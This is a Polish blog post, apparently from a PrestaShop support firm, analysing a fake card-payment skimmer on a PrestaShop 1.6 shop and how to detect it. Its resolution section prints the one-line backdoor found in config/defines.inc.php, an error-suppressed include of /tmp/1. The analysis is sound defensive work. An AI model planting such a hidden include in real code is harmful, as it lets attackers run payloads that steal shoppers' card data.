Nowy wirus na PrestaShop 1.6 – trudniejszy do wykrycia niż poprzedni

W ostatnich dniach trafiliśmy na nowy przypadek złośliwego działania w sklepie na PrestaShop 1.6. To ważne: na ten moment potwierdzony jest jeden przypadek i dotyczy właśnie wersji 1.6 (nie oznacza to, że problem nie może pojawić się gdzie indziej – po prostu tego jeszcze nie potwierdziliśmy).

To, co odróżnia ten atak od poprzedniego, to sposób wyświetlania i „maskowania” śladów. W praktyce klient może zobaczyć fałszywy ekran płatności, a Ty – jako administrator – możesz nie widzieć niczego podejrzanego w standardowej sesji.

formularz z z wirusem prestashop

Co było wcześniej: wariant z „plikami udającymi zdjęcia”

Poprzednia fala ataków polegała m.in. na tworzeniu plików podszywających się pod grafiki (na pierwszy rzut oka wyglądały jak obrazki). Ten wariant jest już w dużej mierze „rozpykany” – umiemy go szybko namierzyć, odfiltrować i usuwać zagrożenie.

Jeżeli nie kojarzysz tematu, tutaj masz opis pierwszej wersji ataku (z przykładami i mechaniką):
Wirusowy fałszywy formularz karty kredytowej – opis i analiza.

Co jest teraz inne: nowy atak i „jednorazowy” fałszywy formularz

Najważniejsza różnica: pojawia się tylko raz na sesję

Nowy wariant jest wyraźnie sprytniejszy:

  • fałszywy formularz wyświetla się tylko raz na sesję,
  • po tym „pierwszym pokazie” znika i nie pojawia się ponownie ani klientowi, ani administratorowi w tej samej sesji,
  • żeby zobaczyć go ponownie, trzeba wejść przez tryb prywatny / incognito (czyli nowa, „czysta” sesja).

To utrudnia diagnostykę, bo wiele osób sprawdza problem „odświeżeniem strony” albo po prostu w tej samej przeglądarce.

Formularz wygląda inaczej niż poprzedni

W poprzednich przypadkach często mieliśmy do czynienia z dość „toporną” wstawką – na pierwszy rzut oka coś nie pasowało do szablonu lub płatności.

Tutaj jest inaczej: sam ekran jest inny, bardziej „wiarygodny”, a do tego potrafi wyglądać jak element procesu płatności kartą – szczególnie w checkoutach, gdzie obok są inne metody typu Przelewy24, BLIK itp. W skrócie: jeśli kojarzysz poprzedni „fejk”, to ten potrafi zmylić nawet osoby, które już raz temat przerabiały.

Ważne: wirus nie ukrywa innych płatności (np. Przelewy24)

W tym nowym wariancie zwróć uwagę na jeszcze jedną rzecz: fałszywy formularz nie zastępuje i nie ukrywa innych metod płatności. Checkout wygląda „normalnie” – nadal widzisz np. Przelewy24, BLIK, raty itp., a podejrzany blok z kartą pojawia się obok / w ramach sekcji płatności.

To właśnie zwiększa wiarygodność ataku, bo klient ma wrażenie, że to po prostu kolejna metoda płatności w sklepie, a nie coś „zamiast” płatności.

Jak rozpoznać, że masz ten problem u siebie

Objawy po stronie klienta

Zwróć uwagę na sygnały:

  • nagle pojawia się ekran sugerujący płatność kartą, gdy w sklepie standardowo tak to nie wygląda,
  • klient zgłasza „dziwny formularz”, „dziwną stronę płatności” albo „okienka z kartą”,
  • problem jest niereprodukowalny w zwykłym trybie, ale wraca w incognito,
  • klienci widzą coś, czego Ty nie potrafisz znaleźć w panelu ani w tej samej sesji.

Objawy po stronie testów

Najprostszy test (i często jedyny, który to ujawnia):

  1. Otwórz sklep w trybie prywatnym / incognito.
  2. Wejdź w koszyk i przejdź do płatności.
  3. Jeśli zobaczysz podejrzany formularz – zamknij kartę.
  4. Otwórz ponownie to samo w tej samej sesji incognito – może już nie wrócić.
  5. Otwórz nowe okno incognito – często pojawi się ponownie.

Jeśli ta logika się zgadza, to jest bardzo duża szansa, że mówimy o tym nowym wariancie.

Dlaczego to jest takie trudne do wykrycia

Pliki wyglądają na czyste

W tym konkretnym przypadku:

  • przeanalizowaliśmy pliki (core + theme + override + moduły) i na pierwszy rzut jest czysto,
  • nie widać oczywistych „wstawek” jak w poprzedniej wersji,
  • dlatego idziemy głębiej – najbardziej prawdopodobnym tropem jest baza danych (np. wstrzyknięty fragment w konfiguracji, treściach CMS, tłumaczeniach, ustawieniach modułów, hookach zapisanych w DB itp.).

To też tłumaczy, dlaczego klasyczne skanowanie plików może nic nie pokazać.

Co robimy teraz: walka trwa, mamy zabezpieczenie „na już”

Najważniejsze: walka trwa.

Ponieważ nie udało się jeszcze jednoznacznie zlokalizować źródła pojawiania się fałszywego formularza, napisaliśmy program, który działa jak „tarcza”:

  • wykrywa i zakrywa fałszywy formularz,
  • minimalizuje ryzyko, zanim dojdziemy do pierwotnej przyczyny,
  • pozwala nam zbierać dalsze informacje diagnostyczne bez wystawiania klientów na zagrożenie.

To rozwiązanie tymczasowe (ale bardzo praktyczne), bo w takich atakach liczy się czas reakcji – a nie tylko „idealne” znalezienie winnego w pierwszej godzinie.

Co możesz zrobić już teraz, jeśli podejrzewasz infekcję

Kroki natychmiastowe

  • sprawdź checkout w incognito (kilka prób, różne przeglądarki),
  • jeśli używasz starszych integracji płatności, potraktuj temat jako priorytet (szczególnie obszar checkout i płatności),
  • zmień hasła do panelu, FTP/SSH, bazy danych, zaplecza hostingu,
  • przejrzyj podejrzane zachowania w ostatnich dniach (logowania, zmiany plików, nowe konta admin).

Co weryfikujemy w tle

  • dalsza analiza bazy danych pod kątem wstrzyknięć,
  • tropienie mechanizmu „one time per session”,
  • mapowanie warunków wyświetlania (user-agent, referrer, język, waluta, źródło ruchu).

Jeśli masz sklep na PrestaShop 1.6, potraktuj to jako sygnał ostrzegawczy: ta wersja jest już wiekowa, a atakujący często celują właśnie w starsze środowiska.

Rozwiązanie — co znaleźliśmy

W tym konkretnym przypadku źródłem problemu okazał się plik defines.inc.php w katalogu /config/. Na samym końcu komentarza licencyjnego, w linii 25, dopisana została instrukcja:

php
*/ @include('/tmp/1');
wirus

Ten jeden wiersz wystarczył, żeby załadować zewnętrzny, złośliwy kod z katalogu tymczasowego serwera (/tmp/1). Operator @ tłumił wszelkie błędy — jeśli plik nie istniał, nic się nie działo; jeśli istniał, wykonywał się dowolny payload bez żadnego śladu w logach PHP.

Dlaczego było to tak trudne do wykrycia? Sklep był mocno modyfikowany — zarówno na poziomie szablonu, override’ów, jak i samych plików core. Przy dużej liczbie zmian względem oryginalnej wersji PrestaShop 1.6, jedna dodatkowa linijka w pliku konfiguracyjnym łatwo ginie w szumie. Standardowe skanery porównujące pliki z oryginałem flagowały dziesiątki różnic, co skutecznie maskowało tę jedną, naprawdę groźną zmianę. Dodatkowo plik defines.inc.php to nie pierwsze miejsce, w które się zagląda szukając wstrzyknięć — uwaga zwykle kieruje się na szablony, moduły płatności czy pliki JS.

Wnioski: przy mocno zmodyfikowanych instalacjach nie wystarczy skanowanie automatyczne — kluczowe jest ręczne przeglądanie plików konfiguracyjnych i porównywanie ich z czystymi wersjami PrestaShop, ze szczególnym uwzględnieniem instrukcji include, require, eval i file_get_contents w miejscach, gdzie nie powinny się znajdować.